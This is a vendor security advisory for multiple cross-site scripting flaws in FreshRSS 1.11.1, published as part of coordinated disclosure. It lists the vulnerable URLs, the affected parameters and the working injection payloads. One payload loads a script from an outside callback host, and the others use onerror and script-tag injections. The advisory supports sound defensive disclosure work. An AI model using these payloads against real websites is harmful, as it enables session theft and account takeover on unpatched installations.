Multiple Cross-Site Scripting Vulnerabilities in FreshRSS 1.11.1 Information -------------------- Advisory by Netsparker Name: Multiple Cross-Site Scripting Vulnerabilities in FreshRSS Affected Software: FreshRSS Affected Versions: 1.11.1 Homepage: https://freshrss.org/ Vulnerability: Cross-site Scripting Severity: Medium Status: Fixed CVE-ID : CVE-2018-19782 CVSS Score (3.0): 6.3 Netsparker Advisory Reference: NS-18-024 Technical Details -------------------- Blind Cross-site Scripting URL : http://ns.app:8085/i/?c=auth&a='"--></style></scRipt><scRipt src="//4cipl0hyi5btaxbj3ovzc7b6e6eckgescau78dxgsho&#46;r87&#46;me"></scRipt> Parameter Name : a Parameter Type : GET Attack Pattern : %27%22--%3e%3c%2fstyle%3e%3c%2fscRipt%3e%3cscRipt+src%3d%22%2f%2f4cipl0hyi5btaxbj3ovzc7b6e6eckgescau78dxgsho%26%2346%3br87%26%2346%3bme%22%3e%3c%2fscRipt%3e Stored Cross-site Scripting URL : http://ns.app:8085/i/?c=error Injection URL : http://ns.app:8085/i/?c=error Parameter Name : a Parameter Type : GET Attack Pattern : '"--></style></scRipt><scRipt>netsparker(0x00139F)</scRipt> Cross-site Scripting URL : http://ns.app:8085/i/?c=error Proof URL : http://ns.app:8085/i/?c=error Injection URL : http://ns.app:8085/i/?c=%3ciMg%20src%3dN%20onerror%3dnetsparker(0x001DCF)%3e&a=actualize&id=-1 Parameter Name : c Parameter Type : GET Attack Pattern : %3ciMg+src%3dN+onerror%3dnetsparker(0x001DCF)%3e URL : http://ns.app:8085/i/?c=error Proof URL : http://ns.app:8085/i/?c=error Injection URL : http://ns.app:8085/i/?a=%3ciMg%20src%3dN%20onerror%3dnetsparker(0x001F6B)%3e&get=s&order=ASC Parameter Name : a Parameter Type : GET Attack Pattern : %3ciMg+src%3dN+onerror%3dnetsparker(0x001F6B)%3e For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS). Advisory Timeline -------------------- 12th November 2018- First Contact 28th November 2018 - Vendor Fixed 3rd December 2018 - Advisory Released Credits & Authors -------------------- These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner. About Netsparker -------------------- Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.